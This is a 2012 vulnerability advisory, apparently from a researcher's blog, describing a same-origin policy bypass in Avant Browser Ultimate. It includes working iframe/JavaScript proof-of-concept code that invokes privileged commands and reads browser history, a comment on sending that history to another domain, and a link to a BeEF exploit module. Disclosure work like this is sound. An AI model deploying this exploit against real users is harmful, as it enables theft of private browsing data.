Wednesday, 5 December 2012

Avant Browser - Same of Origin Policy Bypass - browser:home

Details

Vendor Site: Avant browser (www.avantbrowser.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Avant Browser Ultimate 2012 Build 28 and potentially previous versions
Status: Unpatched
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Avant_multiple_vulnerabilities_advisory.pdf


Same of Origin Policy Bypass

A malicious user can execute arbitrary JavaScript/HTML code on the privileged browser:home page from an untrusted web page on Internet (http:// zone). This is possible by creating an iframe element pointing to the browser:home page and then invoking privileged commands using a window object reference to the iframe element, as shown in the example below:

<iframe name="test2" src="browser:home"></iframe>
<script>window['test2'].navigator.AFRunCommand(id_of_privileged_command, vstr)</script>

This code allows interaction from an untrusted zone (http://) to a trusted and privileged zone: browser:home.

Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the browser: privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Avant Browser native JavaScript privileged functions which can be invoked using the window.navigator object (e.g. window.navigator.*). Such Avant Browser object interfaces can be used to read browser history, bookmarks, or modify Avant Browser configuration. Below, an example of code which allows to read the browser's history is provided.

Exploit - Stealing browser's history

<iframe name="test2" src="browser:home"></iframe>
<script> var vstr = {value: ""}; window['test2'].navigator.AFRunCommand(60003, vstr) alert(vstr.value);
//send vstr.value via an img src to another domain </script>

BeEF module

A BeEF module has been developed which steals history of the Avant browser. The BeEF module can be found below:

https://github.com/malerisch/beef/tree/avant_browser/modules/exploits/avant_steal_history

Video

Avant Browser - BeEF - History Stealing exploit video


Timeline


07/03/2012 - Posted 10 posts to a forum to get a security contact
14/03/2012 - Reception of report confirmed but no further reply
14/03/2012 - Chased them, no reply
03-05/2012 - 2 new releases following the report, one bug silently fixed
12/05/2012 - HITB2012AMS - bug disclosed during presentation
14/11/2012 - HackPra - bug and exploit module presented


Solution

Do not use Avant browser.